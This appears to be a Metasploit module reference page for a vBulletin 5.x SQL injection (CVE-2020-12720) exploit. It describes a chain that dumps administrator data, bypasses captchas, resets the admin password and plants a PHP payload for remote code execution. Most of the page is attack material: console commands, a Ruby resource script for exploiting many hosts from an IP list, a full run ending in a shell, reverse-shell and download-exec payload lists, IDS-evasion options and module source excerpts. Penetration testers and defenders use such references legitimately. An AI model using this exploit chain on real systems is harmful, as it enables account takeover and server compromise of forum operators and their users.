vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection - Metasploit


This page contains detailed information about how to use the exploit/multi/http/vbulletin_getindexablecontent metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection
Module: exploit/multi/http/vbulletin_getindexablecontent
Source code: modules/exploits/multi/http/vbulletin_getindexablecontent.rb
Disclosure date: 2020-03-12
Last modification time: 2021-05-13 04:01:03 +0000
Supported architecture(s): php
Supported platform(s): PHP
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2020-12720

This module exploits a SQL injection vulnerability found in vBulletin 5.6.1 and earlier This module uses the getIndexableContent vulnerability to reset the administrators password, it then uses the administrators login information to achieve RCE on the target. This module has been tested successfully on VBulletin Version 5.6.1 on Ubuntu Linux distribution.

Module Ranking and Traits


Module Ranking:

  • manual: The exploit is unstable or difficult to exploit and is basically a DoS. This ranking is also used when the module has no use unless specifically configured by the user (e.g.: exploit/windows/smb/psexec). More information about ranking can be found here.

Basic Usage


Using vbulletin_getindexablecontent against a single host

Normally, you can use exploit/multi/http/vbulletin_getindexablecontent this way:

msf > use exploit/multi/http/vbulletin_getindexablecontent
msf exploit(vbulletin_getindexablecontent) > show targets
    ... a list of targets ...
msf exploit(vbulletin_getindexablecontent) > set TARGET target-id
msf exploit(vbulletin_getindexablecontent) > show options
    ... show and set options ...
msf exploit(vbulletin_getindexablecontent) > exploit

Using vbulletin_getindexablecontent against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your vbulletin_getindexablecontent will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/multi/http/vbulletin_getindexablecontent")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

Knowledge Base


Vulnerable Application


vBulletin A popular PHP bulletin board and blog web application. This module has been tested successfully against vBulletin 5.6.1 running on Ubuntu Linux 19.04

Description

This module exploits a SQL injection vulnerability present in vBulletin 5.2.0 through 5.6.1 in the getIndexableContent function. This vulnerability is triggered through the nodeId variable and can be reached through multiple paths (listed below) but is exploited in this module utilizing the /ajax/api/content_infraction/getIndexableContent path.

  • /ajax/api/content_video/getIndexableContent
  • /ajax/api/content_text/getIndexableContent
  • /ajax/api/content_report/getIndexableContent
  • /ajax/api/content_redirect/getIndexableContent
  • /ajax/api/content_privatemessage/getIndexableContent
  • /ajax/api/content_poll/getIndexableContent
  • /ajax/api/content_photo/getIndexableContent
  • /ajax/api/content_link/getIndexableContent
  • /ajax/api/content_infraction/getIndexableContent
  • /ajax/api/content_gallery/getIndexableContent
  • /ajax/api/content_event/getIndexableContent
  • /ajax/api/content_channel/getIndexableContent
  • /ajax/api/content_attach/getIndexableContent

Each path listed above reaches the getIndexableContent function within the /core/vb/library/content.php file. The SQL injection attack used utilizes a UNION query in order to leak data back in the response rawtext field.

Leveraging getContentIndexable SQL injection for RCE


The exploit begins by attempting to get a nodeid for use in the SQL injection attack, this can be supplied by the user within the NODE module option, or if not supplied, the value is brute-forced within the bounds of the MINNODE and MAXNODE module options. After acquiring a valid nodeid, the exploit attempts to obtain the vBulletin install's table prefix. This is done by using the getIndexableContent SQL injection vulnerability to query the INFORMATION_SCHEMA table and get a result we expect (to determine if there is a prefix attached). In the module we use the language table for this process. After getting the table prefix we can begin dumping the table data, we start with the administrator user id, username, token, and email. These are used later in the process to make a lost password request and can also be used to backup the administrator user's data prior to the destructive change that will happen when the password is changed later in the module. After acquiring the administrator info the script begins the to gather other pieces needed to submit a lost password request. This part can vary between installs but involves a form of "human verification" along with an administrator's email. The module will attempt to determine the human verification (or captcha) type, then determine if a bypass or solve is possible. There are 4 total types of human verification, an image (GD or ImageMagic based), a Question/Answer (which is stored as a regular expression), Recaptcha2 (an external api based captcha), and disabled.

  • If an Image (GD or ImageMagic based) human verification is selected, the module can bypass it and requires no interaction. This is done by querying the database for the image contents using the SQL injection vulnerability.

  • If the Question/Answer human verification is selected, the module will attempt to submit the answer retrieved from the database utilizing the SQL injection vulnerability. This can sometimes fail and require manual intervention if a complex regular expression is used but the answer is provided through the modules output.

  • If the Recaptcha2 human verification method is selected, the module will fail with a message along with an administrators email to use for a lost password request.

  • If Disabled is chosen, the script will work without action.

After bypassing the human verification the script will attempt to send a lost password request, this will send an email to the administrator. If the human verification request fails, the module can be configured to skip the human verification and lost password steps. This is done by setting the modules MANUALLOSTPASS option to true, this however does require that just prior to running the exploit the lost password request is made. If the administrator completes the request, the activation token will be removed from the database and the next step of the reset will fail. After the lost password request is made, the module then attempts to retrieve the Activation ID from the database using the SQL injection vulnerability. When all of the above is completed, the administrators password can finally be reset. The password is changed to a random 10-16 character alphanumeric password which is displayed in the modules output.

The module can now begin to leverage the administrator access for remote command execution. This begins by first creating a new widget instance, this widget instance is of a widget_php type (a special type that allows for php code embedded within). After the widget instance is created, the module then attempts to modify the widget to add our selected payload. The widget is then ready to use and is added to a new page. This page is created with a randomly generated 10 to 16 character alphanumeric url. The payload and attack is then ready to execute and the module makes a final request in the attack process to execute the PHP payload. Upon successful completion, the page is deleted from the vBulletin install.

Verification Steps


  1. Do: use exploit/multi/http/vbulletin_getindexablecontent
  2. Do: set RHOSTS [IP]
  3. Do: set VHOST [HOSTNAME]
  4. Do: set TARGETURI [PATH]
  5. Do: set PAYLOAD [PAYLOADNUM]
  6. Do: run

Options


MANUALLOSTPASS

A boolean value used to determine if the lost password request should be automated or will be performed manually. Default: false

NODE

A valid node id value for the vBulletin install. When provided, this value is used instead of that acquired by brute-forcing.

MINNODE

A minimum nodeid value to begin with when brute-forcing for a valid node id. Default: 1

MAXNODE

A maximum nodeid value to end with when brute-forcing for a valid node id. Default: 200

TARGETURI

The base URI path of vBulletin. Default: /

Scenarios


msf5 > use exploit/multi/http/vbulletin_getindexablecontent 
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set RHOSTS vb.local
RHOSTS => vb.local
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set VHOST vb.local
VHOST => vb.local
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set TARGETURI /vb5
TARGETURI => /vb5
msf5 exploit(multi/http/vbulletin_getindexablecontent) > set PAYLOAD 2
msf5 exploit(multi/http/vbulletin_getindexablecontent) > check
[*] 192.168.1.100:80 - The target appears to be vulnerable.
msf5 exploit(multi/http/vbulletin_getindexablecontent) > run

[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable.
[*] Brute forcing to find a valid node id.
[+] Sucessfully found node at id 1
[*] Attempting to determine the vBulletin table prefix.
[*] Performing SQL injection on target to retrieve 'table_name' from 'information_schema.columns'.
[+] Sucessfully retrieved table to get prefix from vb5_language.
[*] Performing SQL injection on target to retrieve 'userid' from 'vb5_administrator'.
[*] Performing SQL injection on target to retrieve 'username' from 'vb5_user'.
[*] Performing SQL injection on target to retrieve 'token' from 'vb5_user'.
[*] Performing SQL injection on target to retrieve 'email' from 'vb5_user'.
[+] Retrieved administrator uid: 1 user: administrator email: [email protected] and password: $2y$15$IKz0ra/N2WrJr4BZZMExIOwIET.4Tz8Wni20BMEHjG/A.k9tuOK.W
[*] Sending request to '/vb5/ajax/api/hv/fetchHvType' to get human verification type.
[+] Retrieved HV/captcha type of 'Image'.
[*] Making request to '/vb5/ajax/api/hv/generateToken' to retrieve HV token.
[+] Retrieved '85885c3fafb61b91cb3d2959e13ffe07' human verification token.
[*] Using HV token '85885c3fafb61b91cb3d2959e13ffe07' and SQLinjection to determine HV answer.
[*] Performing SQL injection on target to retrieve 'answer' from 'vb5_humanverify'.
[+] Retrieved '4w8CPc' answer to HV token '85885c3fafb61b91cb3d2959e13ffe07'.
[*] Making request to '/vb5/auth/lostpw' to begin lost password process.
[*] Performing SQL injection on target to retrieve 'activationid' from 'vb5_useractivation'.
[*] Sending reset password request to '/vb5/auth/reset-password'.
[+] User with userid '1' successfully reset password to 'dSxTtxI7yh'.
[*] Making login request to '/vb5/auth/ajax-login' with username: 'administrator' and password: 'dSxTtxI7yh'.
[+] Successfully logged in as administrator .
[*] Making request to '/vb5/ajax/activate-sitebuilder' to activate site-builder functionality.
[+] Successfully enabled site-builder functionality.
[*] Making login request to '/vb5/auth/ajax-login' with username: 'administrator' and password: 'dSxTtxI7yh'.
[+] Successfully logged in as administrator cplogin.
[*] Making request to '/vb5/ajax/api/widget/saveNewWidgetInstance' to create new widget.
[+] Created new widget instance.
[*] Making request to '/vb5/ajax/api/widget/saveAdminConfig' to add payload to widget.
[+] Successfully added payload to widget.
[*] Sending request to '/vb5/admin/savepage' to save new page at 'OToB9nTU'.
[+] Page succesfully create and should be accessible at '/vb5/OToB9nTU'.
[+] Executing PHP payload (230 bytes) at /vb5/OToB9nTU.
[*] Sending request to '/vb5/OToB9nTU' to execute payload.
[*] Sending delete page request to '/vb5/ajax/api/page/delete'.
[+] Successfully deleted page with pageid: 148
[*] Started bind TCP handler against 192.168.1.100:4444
[*] Command shell session 1 opened (0.0.0.0:0 -> 192.168.1.100:4444) at 2020-05-22 21:24:42 -0500

id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Go back to menu.

Msfconsole Usage


Here is how the multi/http/vbulletin_getindexablecontent exploit module looks in the msfconsole:

msf6 > use exploit/multi/http/vbulletin_getindexablecontent

[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/vbulletin_getindexablecontent) > show info

       Name: vBulletin /ajax/api/content_infraction/getIndexableContent nodeid Parameter SQL Injection
     Module: exploit/multi/http/vbulletin_getindexablecontent
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2020-03-12

Provided by:
  Charles Fol <[email protected]>
  Zenofex <[email protected]>

Available targets:
  Id  Name
  --  ----
  0   Automatic

Check supported:
  Yes

Basic options:
  Name            Current Setting  Required  Description
  ----            ---------------  --------  -----------
  MANUALLOSTPASS  false            no        true if an administrator lost password request has already been sent.
  MAXNODE         200              yes       Valid Node ID
  MINNODE         1                yes       Valid Node ID
  NODE                             no        Valid Node ID
  Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT           80               yes       The target port (TCP)
  SSL             false            no        Negotiate SSL/TLS for outgoing connections
  TARGETURI       /                yes       Path to vBulletin
  VHOST                            no        HTTP server virtual host

Payload information:

Description:
  This module exploits a SQL injection vulnerability found in 
  vBulletin 5.6.1 and earlier This module uses the getIndexableContent 
  vulnerability to reset the administrators password, it then uses the 
  administrators login information to achieve RCE on the target. This 
  module has been tested successfully on VBulletin Version 5.6.1 on 
  Ubuntu Linux distribution.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2020-12720

Module Options


This is a complete list of options available in the multi/http/vbulletin_getindexablecontent exploit:

msf6 exploit(multi/http/vbulletin_getindexablecontent) > show options

Module options (exploit/multi/http/vbulletin_getindexablecontent):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   MANUALLOSTPASS  false            no        true if an administrator lost password request has already been sent.
   MAXNODE         200              yes       Valid Node ID
   MINNODE         1                yes       Valid Node ID
   NODE                             no        Valid Node ID
   Proxies                          no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                           yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT           80               yes       The target port (TCP)
   SSL             false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI       /                yes       Path to vBulletin
   VHOST                            no        HTTP server virtual host

Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic

Advanced Options


Here is a complete list of advanced options supported by the multi/http/vbulletin_getindexablecontent exploit:

msf6 exploit(multi/http/vbulletin_getindexablecontent) > show advanced

Module advanced options (exploit/multi/http/vbulletin_getindexablecontent):

   Name                    Current Setting                                     Required  Description
   ----                    ---------------                                     --------  -----------
   AutoCheck               true                                                no        Run check before exploit
   ContextInformationFile                                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                                no        Conform to IIS, should work for most servers. Only set to false for non-IIS servers
   DisablePayloadHandler   false                                               no        Disable the handler code for the selected payload
   EnableContextEncoding   false                                               no        Use transient context when encoding payloads
   FingerprintCheck        true                                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                                               no        Override check result
   HttpClientTimeout                                                           no        HTTP connection and receive timeout
   HttpPassword                                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                                              no        Path to ERB-templatized raw headers to append to existing headers
   HttpTrace               false                                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                                             no        HTTP request and response colors for HttpTrace (unset to disable)
   HttpTraceHeadersOnly    false                                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                                no        The HTTP username to specify for authentication
   SSLVersion              Auto                                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   UserAgent               Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)  no        The User-Agent header to use for all requests
   VERBOSE                 false                                               no        Enable detailed status messages
   WORKSPACE                                                                   no        Specify the workspace for this module
   WfsDelay                2                                                   no        Additional delay in seconds to wait for a session

Payload advanced options (php/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the multi/http/vbulletin_getindexablecontent module can exploit:

msf6 exploit(multi/http/vbulletin_getindexablecontent) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Automatic

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the multi/http/vbulletin_getindexablecontent exploit:

msf6 exploit(multi/http/vbulletin_getindexablecontent) > show payloads

Compatible Payloads
===================

   #   Name                                        Disclosure Date  Rank    Check  Description
   -   ----                                        ---------------  ----    -----  -----------
   0   payload/generic/custom                                       normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                               normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                            normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/multi/meterpreter/reverse_http                       normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTP Stager (Multiple Architectures)
   4   payload/multi/meterpreter/reverse_https                      normal  No     Architecture-Independent Meterpreter Stage, Reverse HTTPS Stager (Multiple Architectures)
   5   payload/php/bind_perl                                        normal  No     PHP Command Shell, Bind TCP (via Perl)
   6   payload/php/bind_perl_ipv6                                   normal  No     PHP Command Shell, Bind TCP (via perl) IPv6
   7   payload/php/bind_php                                         normal  No     PHP Command Shell, Bind TCP (via PHP)
   8   payload/php/bind_php_ipv6                                    normal  No     PHP Command Shell, Bind TCP (via php) IPv6
   9   payload/php/download_exec                                    normal  No     PHP Executable Download and Execute
   10  payload/php/exec                                             normal  No     PHP Execute Command
   11  payload/php/meterpreter/bind_tcp                             normal  No     PHP Meterpreter, Bind TCP Stager
   12  payload/php/meterpreter/bind_tcp_ipv6                        normal  No     PHP Meterpreter, Bind TCP Stager IPv6
   13  payload/php/meterpreter/bind_tcp_ipv6_uuid                   normal  No     PHP Meterpreter, Bind TCP Stager IPv6 with UUID Support
   14  payload/php/meterpreter/bind_tcp_uuid                        normal  No     PHP Meterpreter, Bind TCP Stager with UUID Support
   15  payload/php/meterpreter/reverse_tcp                          normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   16  payload/php/meterpreter/reverse_tcp_uuid                     normal  No     PHP Meterpreter, PHP Reverse TCP Stager
   17  payload/php/meterpreter_reverse_tcp                          normal  No     PHP Meterpreter, Reverse TCP Inline
   18  payload/php/reverse_perl                                     normal  No     PHP Command, Double Reverse TCP Connection (via Perl)
   19  payload/php/reverse_php                                      normal  No     PHP Command Shell, Reverse TCP (via PHP)

Evasion Options


Here is the full list of possible evasion options supported by the multi/http/vbulletin_getindexablecontent exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(multi/http/vbulletin_getindexablecontent) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Could not determine the vBulletin table prefix.


Here is a relevant code snippet related to the "Could not determine the vBulletin table prefix." error message:

117:	  def get_table_prefix(node_id)
118:	    print_status('Attempting to determine the vBulletin table prefix.')
119:	    table_name = do_sqli(node_id, '', 'table_name', 'information_schema.columns', "column_name='phrasegroup_cppermission'")
120:	
121:	    unless table_name && table_name.split('language').index
122:	      fail_with(Failure::Unknown, 'Could not determine the vBulletin table prefix.')
123:	    end
124:	
125:	    tbl_prefix = table_name.split('language')[0]
126:	    print_good("Sucessfully retrieved table to get prefix from #{table_name}.")
127:	

response


Here is a relevant code snippet related to the "response" error message:

155:	
156:	    return false unless res && res.code == 200
157:	
158:	    parsed_resp = res.get_json_document
159:	
160:	    return false if parsed_resp['response'] && parsed_resp['response']['errors']
161:	
162:	    true
163:	  end
164:	
165:	  # Attempts to login to vBulletin install

errors


Here is a relevant code snippet related to the "errors" error message:

217:	        'isAjaxTemplateRenderWithData' => 'true',
218:	        'securitytoken' => sec_token.to_s
219:	      }
220:	    })
221:	
222:	    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
223:	
224:	    print_good('Successfully enabled site-builder functionality.')
225:	    true
226:	  end
227:	

errors


Here is a relevant code snippet related to the "errors" error message:

268:	        'data[code]' => payload.encoded.to_s,
269:	        'securitytoken' => sec_token.to_s
270:	      }
271:	    })
272:	
273:	    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
274:	
275:	    print_good('Successfully added payload to widget.')
276:	
277:	    true
278:	  end

errors


Here is a relevant code snippet related to the "errors" error message:

318:	        'pageid' => pageid.to_s,
319:	        'securitytoken' => login_token.to_s
320:	      }
321:	    })
322:	
323:	    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
324:	
325:	    print_good("Successfully deleted page with pageid: #{pageid}")
326:	
327:	    true
328:	  end

errors


Here is a relevant code snippet related to the "errors" error message:

353:	      'vars_post' => {
354:	        'hash' => hash.to_s
355:	      }
356:	    })
357:	
358:	    unless res && res.code == 200 && res.body.to_s !~ /"errors"/
359:	      return nil
360:	    end
361:	
362:	    res.body.to_s.tr('"', '')
363:	  end

MINNODE can't be major than MAXNODE.


Here is a relevant code snippet related to the "MINNODE can't be major than MAXNODE." error message:

418:	  def brute_force_node
419:	    min = datastore['MINNODE']
420:	    max = datastore['MAXNODE']
421:	
422:	    if min > max
423:	      print_error("MINNODE can't be major than MAXNODE.")
424:	      return nil
425:	    end
426:	
427:	    for node_id in min..max
428:	      if exists_node?(node_id)

errors


Here is a relevant code snippet related to the "errors" error message:

445:	
446:	    unless res && res.code == 200
447:	      return nil
448:	    end
449:	
450:	    return nil unless res && res.code == 200 && (parsed_resp = res.get_json_document) && !parsed_resp['errors']
451:	
452:	    print_good("Sucessfully found node at id #{id}")
453:	    true
454:	  end
455:	

Could not get a valid node id for the vBulletin install.


Here is a relevant code snippet related to the "Could not get a valid node id for the vBulletin install." error message:

491:	
492:	  # Performs all exploit functionality
493:	  def exploit
494:	    # Get node_id for requests
495:	    node_id = get_node
496:	    fail_with(Failure::Unknown, 'Could not get a valid node id for the vBulletin install.') unless node_id
497:	
498:	    # Get vBulletin table prefix
499:	    table_prfx = get_table_prefix(node_id)
500:	
501:	    # Get admin info (email, uid, token)

Could not retrieve administrator uid, username, email and token.


Here is a relevant code snippet related to the "Could not retrieve administrator uid, username, email and token." error message:

499:	    table_prfx = get_table_prefix(node_id)
500:	
501:	    # Get admin info (email, uid, token)
502:	    admin_uid, admin_user, admin_token, admin_email = get_admin_info(node_id, table_prfx)
503:	    unless admin_uid && admin_user && admin_token && admin_email
504:	      fail_with(Failure::UnexpectedReply, 'Could not retrieve administrator uid, username, email and token.')
505:	    end
506:	    print_good("Retrieved administrator uid: #{admin_uid} user: #{admin_user} email: #{admin_email} and password: #{admin_token}")
507:	
508:	    if !datastore['MANUALLOSTPASS']
509:	      # Determine HV type

Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).


Here is a relevant code snippet related to the "Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS)." error message:

507:	
508:	    if !datastore['MANUALLOSTPASS']
509:	      # Determine HV type
510:	      hv_type = get_hv_type
511:	
512:	      fail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type
513:	
514:	      fail_with(Failure::Unknown, "Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})") unless ['Recaptcha2', 'Disabled'].exclude? hv_type
515:	
516:	      # Generate HV token and get answer
517:	      if hv_type == 'Image' && hv_type != 'Disabled'

Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (<ADMIN_EMAIL>)


Here is a relevant code snippet related to the "Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (<ADMIN_EMAIL>)" error message:

509:	      # Determine HV type
510:	      hv_type = get_hv_type
511:	
512:	      fail_with(Failure::Unknown, 'Invalid human verification type, you must request a new password for the administrator manually (and set MANUALLOSTPASS).') unless ['Image', 'Question', 'Recaptcha2', 'Disabled'].include? hv_type
513:	
514:	      fail_with(Failure::Unknown, "Site uses Recaptcha2, retry with MANUALLOSTPASS enabled and after a lost password request to an administrator account (#{admin_email})") unless ['Recaptcha2', 'Disabled'].exclude? hv_type
515:	
516:	      # Generate HV token and get answer
517:	      if hv_type == 'Image' && hv_type != 'Disabled'
518:	        hv_hash = get_hv_hash
519:	        hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)

Could not retrieve human verification hash or answer.


Here is a relevant code snippet related to the "Could not retrieve human verification hash or answer." error message:

515:	
516:	      # Generate HV token and get answer
517:	      if hv_type == 'Image' && hv_type != 'Disabled'
518:	        hv_hash = get_hv_hash
519:	        hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)
520:	        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer
521:	
522:	      elsif hv_type == 'Question' && hv_type != 'Disabled'
523:	        hv_hash = get_hv_hash
524:	        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash
525:	

Could not retrieve human verification question hash.


Here is a relevant code snippet related to the "Could not retrieve human verification question hash." error message:

519:	        hv_answer = get_hv_answer(node_id, table_prfx, hv_hash)
520:	        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification hash or answer.') unless hv_hash && hv_answer
521:	
522:	      elsif hv_type == 'Question' && hv_type != 'Disabled'
523:	        hv_hash = get_hv_hash
524:	        fail_with(Failure::UnexpectedReply, 'Could not retrieve human verification question hash.') unless hv_hash
525:	
526:	        ques_id = get_hv_answer(node_id, table_prfx, hv_hash)
